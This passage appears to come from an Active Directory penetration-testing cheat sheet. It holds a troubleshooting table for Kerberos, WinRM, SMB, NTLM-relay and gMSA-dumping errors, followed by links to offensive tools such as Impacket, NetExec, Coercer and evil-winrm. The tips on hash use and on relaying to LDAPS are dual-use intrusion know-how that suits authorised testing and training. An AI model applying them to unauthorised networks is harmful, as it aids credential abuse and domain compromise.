`KRB_AP_ERR_SKEW` | Clock skew > 5 min | `sudo ntpdate -u DC_IP` | 784 | `KDC not found` | Bad `krb5.conf` | Check `/etc/krb5.conf` realm + KDC IP | 785 | `KDC_ERR_PREAUTH_FAILED` | Wrong password | Double-check creds; try hash | 786 | `Errno 111 Connection refused` | WinRM not running | Check port 5985; try 5986 | 787 | `STATUS_ACCESS_DENIED` (SMB) | Creds work but no admin | User isn't local admin on that host | 788 | `NT_STATUS_LOGON_FAILURE` | Bad hash/pass | Verify NTLM hash is the NT part (not LM) | 789 | gMSADumper returns empty | Wrong account | Check `PrincipalsAllowedToRetrieveManagedPassword` | 790 | `rubyzip` error in evil-winrm | Broken gem | `sudo gem install evil-winrm` | 791 | ntlmrelayx relay fails | SMB signing enabled | Relay to LDAPS (:636) instead | 792 | `Server not found in Kerberos database` | Missing `/etc/hosts` or bad `krb5.conf` | Add hostname to `/etc/hosts`; verify `[domain_realm]` | 793 794 ## References 795 796 - Nmap docs — https://nmap.org/book/man.html 797 - RustScan — https://github.com/RustScan/RustScan 798 - enum4linux-ng — https://github.com/cddmp/enum4linux-ng 799 - BloodHound (SpecterOps) — https://github.com/SpecterOps/BloodHound 800 - bloodhound-python — https://github.com/dirkjanm/BloodHound.py 801 - Impacket — https://github.com/fortra/impacket 802 - gMSADumper — https://github.com/micahvandeusen/gMSADumper 803 - NetExec — https://github.com/Pennyw0rth/NetExec 804 - evil-winrm — https://github.com/Hackplayers/evil-winrm 805 - Ligolo-ng — https://github.com/nicocha30/ligolo-ng 806 - chisel — https://github.com/jpillora/chisel 807 - Coercer — https://github.com/p0dalirius/Coercer 808 - bloodyAD — https://github.com/CravateRouge/bloodyAD 809 - krbrelayx / addspn.py — https://github.com/dirkjanm/krbrelayx 810 - windapsearch — https://github.com/ropnop/windapsearch